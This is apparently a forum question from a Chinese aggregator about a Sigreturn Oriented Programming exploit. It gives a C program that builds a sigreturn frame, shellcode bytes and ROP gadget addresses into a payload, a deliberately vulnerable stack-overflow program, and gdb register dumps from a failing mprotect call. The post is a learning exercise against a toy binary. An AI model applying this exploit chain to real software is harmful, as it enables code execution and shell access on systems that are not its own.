问题描述:

Trying to mprotect memory region so that I can execute shellcode, but it fails, just after the syscall

(gdb) stepi

0xffffffffff600007 in ?? ()

(gdb) i r

rax 0xa 10

rbx 0x0 0

rcx 0x0 0

rdx 0x0 0

rsi 0x1000 4096

rdi 0x7fffffffe000 140737488347136

rbp 0x0 0x0

rsp 0x7fffffffeba0 0x7fffffffeba0

r8 0x0 0

r9 0x0 0

r10 0x0 0

r11 0x0 0

r12 0x0 0

r13 0x0 0

r14 0x0 0

r15 0x0 0

rip 0xffffffffff600007 0xffffffffff600007

eflags 0x202 [ IF ]

cs 0x33 51

ss 0x2b 43

ds 0x0 0

es 0x0 0

fs 0x0 0

---Type <return> to continue, or q <return> to quit---sq

gs 0x0 0

(gdb) stepi

0xffffffffff600009 in ?? ()

(gdb) i r

rax 0x0 0

rbx 0x0 0

rcx 0xffffffffffffffff -1

rdx 0x0 0

rsi 0x1000 4096

rdi 0x7fffffffe000 140737488347136

rbp 0x0 0x0

rsp 0x7fffffffeba0 0x7fffffffeba0

r8 0x0 0

r9 0x0 0

r10 0x0 0

r11 0x302 770

r12 0x0 0

r13 0x0 0

r14 0x0 0

r15 0x0 0

rip 0xffffffffff600009 0xffffffffff600009

eflags 0x202 [ IF ]

cs 0x33 51

ss 0x2b 43

ds 0x0 0

es 0x0 0

fs 0x0 0

---Type <return> to continue, or q <return> to quit---q

Quit

(gdb) stepi

Program received signal SIGSEGV, Segmentation fault.

0xffffffffff600009 in ?? ()

(gdb) i r

rax 0x0 0

rbx 0x0 0

rcx 0xffffffffffffffff -1

rdx 0x0 0

rsi 0x1000 4096

rdi 0x7fffffffe000 140737488347136

rbp 0x0 0x0

rsp 0x7fffffffeba0 0x7fffffffeba0

r8 0x0 0

r9 0x0 0

r10 0x0 0

r11 0x302 770

r12 0x0 0

r13 0x0 0

r14 0x0 0

r15 0x0 0

rip 0xffffffffff600009 0xffffffffff600009

eflags 0x10202 [ IF RF ]

cs 0x33 51

ss 0x2b 43

ds 0x0 0

es 0x0 0

fs 0x0 0

---Type <return> to continue, or q <return> to quit---

gs 0x0 0

(gdb)

I am executing a binary like this:

#include <unistd.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <stdlib.h>

#include <stdio.h>

#include <fcntl.h>

#include <signal.h>

#define SYSCALL 0xffffffffff600007

#define DATA 0x7fffffffeba0 //buf addres in vulerable program "prog"

#define MPROTECT_BASE 0x7fffffffe000 //must be a multiple of page_size (in .bss)

#define MPROTECT_SYSCALL 0xa

#define FLAGS 0x33

#define PAGE_SIZE 4096

int main(void)

{

pid_t pid;

if ((pid = fork()) < 0) {

perror("fork");

return EXIT_FAILURE;

} else if (! pid) { /* child */

int fd;

struct ucontext ctx;

/* initializing the context structure */

bzero(&ctx, sizeof(struct ucontext));

/* setting rip value (points to syscall address) */

ctx.uc_mcontext.gregs[16] = SYSCALL;

/* setting 0x3b in rax (execve syscall) */

ctx.uc_mcontext.gregs[13] = MPROTECT_SYSCALL;

/* setting first arg of execve in rdi */

ctx.uc_mcontext.gregs[8] = MPROTECT_BASE;

/* setting second arg of execv in rsi */

ctx.uc_mcontext.gregs[9] = PAGE_SIZE;

/*

* jumping into nop sled after mprotect syscall.

* setting rsp value

*/

ctx.uc_mcontext.gregs[15] = DATA;

/* cs = 0x33 */

ctx.uc_mcontext.gregs[18] = 0x33;

FILE *fp;

fp=fopen("rop.dat","a");

fwrite((char *) "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f",sizeof(char),24,fp); //shellcode incomplete, needs few bytes more, just for testing

fwrite((char *) "\x45\x05\x40\x00\x00\x00\x00\x00",sizeof(char),8,fp); //mov 0xf, rax; ret gadget

fwrite((char *) "\x07\x00\x60\xff\xff\xff\xff\xff", sizeof(char),8,fp); //syscal; ret gadget

fwrite(&ctx,sizeof(ctx),1,fp);

fclose(fp);

fd = open("rop.dat", O_RDONLY);

if (fd < 0) {

perror("open");

return EXIT_FAILURE;

}

dup2(fd, STDIN_FILENO);

close(fd);

execlp("/opt/prog", "prog", (char *)0);

perror("exec");

return EXIT_FAILURE;

} else { /* parent */

printf("Parent waiting\n");

}

return EXIT_SUCCESS;

}

Vulnerable program

prog.c

#include <stdio.h>

void main(){

int buf[4];

read(0, buf, 512);

}

void gadget()

{

asm("mov $0xf,%rax\n");

asm("retq\n");

}

This technique is called Sigreturn Oriented Programming (SROP). More here:

http://thisissecurity.net/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/

So my questions are:

  1. Why mprotect() is not working?
  2. How to fix it?

Thanks,

相关阅读:
Top